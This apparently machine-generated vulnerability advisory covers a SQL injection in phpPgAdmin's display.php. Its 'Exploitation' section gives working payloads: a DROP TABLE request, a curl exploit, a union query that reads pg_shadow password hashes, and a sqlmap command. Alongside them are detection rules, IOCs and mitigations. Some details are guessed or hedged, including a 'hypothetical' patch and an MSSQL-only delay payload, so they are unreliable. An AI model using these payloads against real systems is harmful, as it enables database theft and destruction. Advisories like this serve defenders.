CVE-2025-60798
Executive Summary
CVE-2025-60798 is a critical SQL injection vulnerability discovered in phpPgAdmin version 7.13.0 and earlier. The flaw resides in the display.php file at line 396, where user-controlled input from the $_REQUEST['query'] parameter is passed directly to the browseQuery function without any sanitization or parameterization. An authenticated attacker can exploit this to execute arbitrary SQL commands against the PostgreSQL database, potentially leading to full database compromise, data exfiltration, and lateral movement within the network.
The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and is assigned CWE-89 (SQL Injection). The CVSS v3.1 vector indicates a high severity score of 8.8, with network attack vector, low attack complexity, and high impact on confidentiality, integrity, and availability. No official patch has been released as of this analysis, making this a zero-day vulnerability for unpatched instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
phpPgAdmin is a PHP-based web application distributed as a standalone package. It is not typically distributed via package managers like NPM, PyPI, Go, or Ruby. However, organizations that deploy phpPgAdmin as part of a larger stack (e.g., via Docker images or custom repositories) should verify the integrity of their distribution channels. The absence of a patch means that any deployment of phpPgAdmin 7.13.0 or earlier is at risk. Users should monitor the official phpPgAdmin repository for updates and consider temporary mitigations such as web application firewall (WAF) rules or disabling the vulnerable functionality.
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send a crafted HTTP request.
- Privileges Required (PR): Low (L) – The attacker must be authenticated to phpPgAdmin, but no administrative privileges are needed.
- User Interaction (UI): None (N) – No user action is required for exploitation.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full database contents can be read.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Database operations can be disrupted or denied.
Threat Level: Critical. The combination of low attack complexity, network accessibility, and high impact makes this vulnerability highly attractive to attackers. The lack of a patch further elevates the risk.
Deep Dive & Mechanics
The vulnerability is located in display.php at line 396. The code directly uses the $_REQUEST['query'] parameter as input to the browseQuery function. This function likely constructs and executes a SQL query against the PostgreSQL database without any sanitization or use of prepared statements.
Vulnerable Code Path:
- An authenticated user sends a GET or POST request to
display.phpwith aqueryparameter. - The value of
$_REQUEST['query']is passed tobrowseQuery(). browseQuery()concatenates this input directly into a SQL query string.- The query is executed against the database, allowing the attacker to inject arbitrary SQL.
Example Attack Vector: An attacker could send a request like:
GET /phpPgAdmin/display.php?query=1'; DROP TABLE users; --
This would terminate the original query and execute a malicious command to drop the users table.
Impact:
- Data Exfiltration: Retrieve sensitive data from any table.
- Data Manipulation: Insert, update, or delete records.
- Privilege Escalation: If the database user has sufficient privileges, the attacker could gain superuser access.
- Lateral Movement: The compromised database could be used to pivot to other systems.
Vulnerable vs. Patched Code
Vulnerable Code (phpPgAdmin 7.13.0):
// display.php line 396
$query = $_REQUEST['query'];
$result = browseQuery($query);
Patched Code (Hypothetical Fix):
// display.php line 396
$query = $_REQUEST['query'];
// Use parameterized query or prepared statement
$result = browseQueryPrepared($query, $params);
Explanation: The vulnerable code directly uses user input in a SQL query. A proper fix would involve:
- Using prepared statements with bound parameters.
- Validating and sanitizing input to ensure it contains only expected characters.
- Escaping special characters if direct concatenation is unavoidable (though not recommended).
Exploitation & Lab Setup
Red Team (Attacker) Perspective
Prerequisites:
- Access to a phpPgAdmin instance (version 7.13.0 or earlier).
- Valid authentication credentials (low-privilege user is sufficient).
Exploitation Steps:
- Identify the vulnerable endpoint:
http://target/phpPgAdmin/display.php - Craft a malicious request: Use a tool like
curlor Burp Suite to send a request with a SQL injection payload in thequeryparameter. - Execute the attack:
This payload attempts to list all database users.curl -X GET "http://target/phpPgAdmin/display.php?query=1'%3BSELECT+*+FROM+pg_catalog.pg_user--" - Extract data: Use UNION-based or blind SQL injection techniques to exfiltrate data.
Example Payloads:
- Union-based:
1' UNION SELECT null, usename, passwd FROM pg_shadow-- - Error-based:
1' AND 1=CAST((SELECT usename FROM pg_user LIMIT 1) AS int)-- - Time-based:
1'; WAITFOR DELAY '0:0:5'--(if PostgreSQL supports it, thoughpg_sleepis more common)
Automation: Use SQLMap for automated exploitation:
sqlmap -u "http://target/phpPgAdmin/display.php?query=1" --cookie="PHPSESSID=your_session" --batch --dbs
Blue Team (Defender) Perspective
Detection:
- Monitor HTTP requests to
display.phpfor unusualqueryparameters containing SQL keywords (e.g.,UNION,SELECT,DROP,--). - Analyze database logs for anomalous queries originating from the web application user.
- Set up alerts for high-frequency requests to
display.phpfrom a single IP.
Honeypot: Deploy a fake phpPgAdmin instance with the vulnerable code to capture attacker payloads and identify threat actors.
Lab Setup:
- Environment: Docker container running phpPgAdmin 7.13.0 with a PostgreSQL database.
- Tools: Burp Suite, SQLMap, Wireshark.
- Steps:
- Pull the vulnerable image:
docker pull phppgadmin/phppgadmin:7.13.0 - Run the container:
docker run -d -p 80:80 phppgadmin/phppgadmin:7.13.0 - Access the web interface and authenticate.
- Use Burp Suite to intercept and modify requests to
display.php.
- Pull the vulnerable image:
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/phpPgAdmin/display.phpwith aqueryparameter containing SQL keywords. - Unusual database connections from the web server IP to the PostgreSQL database.
- Outbound data transfers from the database server to external IPs.
File IOCs:
- Modified phpPgAdmin files (e.g.,
display.php) if the attacker uploads a web shell. - Suspicious log entries in PostgreSQL logs (e.g.,
pg_logdirectory).
Log IOCs:
- Web server logs showing repeated requests to
display.phpwith varyingqueryparameters. - Database logs showing queries with
UNION,SELECT,DROP, orpg_sleepfunctions.
Example Log Entry:
192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /phpPgAdmin/display.php?query=1'%3BSELECT+*+FROM+pg_catalog.pg_user-- HTTP/1.1" 200 1234
Detection Engineering
YARA Rule
rule CVE_2025_60798_SQLi_phpPgAdmin {
meta:
description = "Detects SQL injection attempts against phpPgAdmin CVE-2025-60798"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-60798"
strings:
$s1 = "display.php" nocase
$s2 = "query=" nocase
$s3 = "UNION" nocase
$s4 = "SELECT" nocase
$s5 = "DROP" nocase
$s6 = "pg_sleep" nocase
condition:
all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}
Sigma Rule
title: SQL Injection Attempt Against phpPgAdmin CVE-2025-60798
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the query parameter in phpPgAdmin display.php
author: Valters IT
date: 2025-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "display.php?query="
keywords:
- "UNION"
- "SELECT"
- "DROP"
- "pg_sleep"
- "OR 1=1"
condition: selection and keywords
falsepositives:
- Legitimate use of SQL queries in the interface (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-60798 SQL Injection Attempt"; flow:to_server,established; content:"display.php"; http_uri; content:"query="; http_uri; pcre:"/(UNION|SELECT|DROP|pg_sleep|OR\s+1=1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable functionality: If possible, restrict access to
display.phpor remove the file until a patch is available. - Apply WAF rules: Block requests to
display.phpcontaining SQL keywords in thequeryparameter. - Restrict database user privileges: Ensure the database user used by phpPgAdmin has minimal necessary permissions (e.g., read-only access to specific tables).
Long-term Fix:
- Upgrade: Monitor the official phpPgAdmin repository for a patched version. Apply the update as soon as it is released.
- Code Review: If you maintain a fork, implement prepared statements or parameterized queries in
display.php. - Input Validation: Add strict input validation to ensure the
queryparameter contains only expected characters (e.g., alphanumeric and spaces).
Workaround:
- Use a reverse proxy to filter requests:
location /phpPgAdmin/display.php { if ($arg_query ~* "(UNION|SELECT|DROP|pg_sleep)") { return 403; } }
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.